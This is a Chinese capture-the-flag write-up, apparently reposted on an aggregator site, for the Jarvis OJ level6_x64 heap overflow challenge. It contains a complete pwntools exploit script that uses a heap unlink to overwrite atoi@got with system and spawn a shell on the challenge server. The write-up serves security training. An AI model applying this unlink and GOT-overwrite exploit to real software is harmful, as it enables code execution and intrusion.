jarvis level6_x64堆溢出unlink拾遗
Posted snip3r
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了jarvis level6_x64堆溢出unlink拾遗相关的知识,希望对你有一定的参考价值。
level6 32位的我没有调出来,貌似32位的堆结构和64位不太一样,嘤嘤嘤?,所以做了一下这个64位的,题目地址,level6_x64
首先看一下程序的结构体
struct list //0x1810 { int all=256; int now_sum; struct _note *note; } struct _note { bool inuse; int len; char *content; }
然后看一下出现漏洞的edit和delete函数
所以这一个题只有一种利用方式就是利用溢出unlink实现一次任意地址写,修改atoi@got为system_addr
思路如下:
1.leak heap base计算出保存&chunk0的地址以便unlink
2.unlink
3.leak libc_base
4.modify atoi@got to system to get shell
里边的几个坑:
1.计算heap base的偏移是0x1810+3*0x90,这里调试态的堆是chunk1的fd指向chunk3 的malloc_addr,而运行态是指向chunk3的header.prev,所以计算&chunk0地址的时候需要手动调试下
2.leak heap base时recv(8)会读到0x0a回车符,并不好使,所以recvuntil(\'\\x0a\',drop=True)来读
3.构造payload的时候要注意send和realloc的长度限制
脚本如下
from pwn import *
context.log_level=\'DEBUG\'
#r=process(\'./freenote_x64\',env={"LD_PRELOAD":"./libc-2.19.so"})
r=remote(\'pwn2.jarvisoj.com\',9886)
elf=ELF(\'./freenote_x64\')
libc=ELF(\'./libc-2.19.so\')
def list():
r.sendlineafter(\'choice: \',\'1\')
def new(payload):
r.sendlineafter(\'choice: \',\'2\')
r.sendlineafter(\'new note: \',str(len(payload)))
r.sendafter(\'note: \',payload)
def edit(num,payload):
r.sendlineafter(\'choice: \',\'3\')
r.sendlineafter(\'number: \',str(num))
r.sendlineafter(\'note: \',str(len(payload)))
r.sendafter(\'your note: \',payload)
def delete(num):
r.sendlineafter(\'choice: \',\'4\')
r.sendlineafter(\'number: \',str(num))
#leak heap base
new(\'a\'*0x80)#0
new(\'a\'*0x80)#1
new(\'a\'*0x80)#2
new(\'a\'*0x80)#3
new(\'a\'*0x80)#4
#malloc chunk4 to avoid chunk3 consolidated to topchunk
delete(3)
delete(1)
edit(0,\'a\'*0x80+\'b\'*0x10)
#overwrite next chunk\'header to leak
list()
r.recvuntil(\'b\'*0x10)
heap_base=u64(r.recvuntil(\'\\x0a\',drop=True).ljust(0x8,\'\\x00\'))-0x19c0#0x1810+3*0x90
chunk0=heap_base+0x20
success(\'leak heap base\')
success(\'heapbase:\'+hex(heap_base))
#gdb.attach(r)
sleep(1)
#unlink
payload=p64(0)+p64(0x80)+p64(chunk0-3*8)+p64(chunk0-2*8)+\'a\'*(0x80-4*8)+p64(0x80)+p64(0x90)
payload=payload.ljust(0x100,\'\\xbb\')
edit(0,payload)
#gdb.attach(r)
delete(1)
success(\'unlink\')
sleep(1)
#leak libc base
payload2=p64(2)+p64(1)+p64(0x80)+p64(chunk0)+p64(1)+p64(8)+p64(elf.got[\'atoi\'])
payload2=payload2.ljust(0x100,\'\\xbb\')
edit(0,payload2)
list()
r.recvuntil(\'1. \')
libc_base=u64(r.recvuntil(\'\\x0a\',drop=True).ljust(0x8,\'\\x00\'))-libc.sym[\'atoi\']
success(hex(libc_base))
#modify atoi to system to getshell
sys_addr=libc_base+libc.sym[\'system\']
edit(1,p64(sys_addr))#*(&atoi@got)=sys_addr
r.sendlineafter(\'choice: \',\'/bin/sh\\0\')
r.interactive()
以上是关于jarvis level6_x64堆溢出unlink拾遗的主要内容,如果未能解决你的问题,请参考以下文章
[转]Jarvis OJ- [XMAN]level2/3_x64-Writeup
大量内存溢出导致堆大小在大约 8 秒内从大约 64mb 变为 1.5gb。垃圾收集器的问题?